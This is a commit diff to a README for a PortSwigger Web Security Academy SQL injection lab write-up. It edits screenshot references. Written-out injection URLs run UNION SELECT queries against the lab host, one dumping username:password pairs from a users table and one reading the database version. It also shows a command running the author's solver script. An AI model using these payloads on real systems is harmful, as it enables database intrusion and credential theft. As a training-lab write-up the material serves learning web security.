twseptian
diff --git a/‎port_swigger_academy/sqli/sqli_lab_06/README.md
Lines changed: 5 additions & 2 deletions b/‎port_swigger_academy/sqli/sqli_lab_06/README.md
Lines changed: 5 additions & 2 deletions
diff --git a/‎port_swigger_academy/sqli/sqli_lab_06/screenshot/3.png
70.2 KB b/‎port_swigger_academy/sqli/sqli_lab_06/screenshot/3.png
70.2 KB
@@ -36,11 +36,14 @@ analysis:
 ![1](screenshot/1.png)
 
 - In this case, we need to retrieve all usernames and passwords from the database. here below the following command to retrive all username & password
-`https://ac571f8b1e65b8e6c0b80f5e00f400a1.web-security-academy.net/filter?category=Accessories' UNION select NULL, username || ':' || password FROM users--` 
+`https://ac571f8b1e65b8e6c0b80f5e00f400a1.web-security-academy.net/filter?category=Accessories' UNION select NULL, username || ':' || password FROM users--`
+
+![2](screenshot/2.png)
+
 - we can retrieve the database version from this lab
 `https://ac571f8b1e65b8e6c0b80f5e00f400a1.web-security-academy.net/filter?category=Accessories' UNION select NULL, version()--` 
 
-![2](screenshot/2.png)
+![3](screenshot/3.png)
 
 ```bash
 $ python3 sqli_lab_06.py "https://acb91fb01e4afc7dc0d4991700de003a.web-security-academy.net"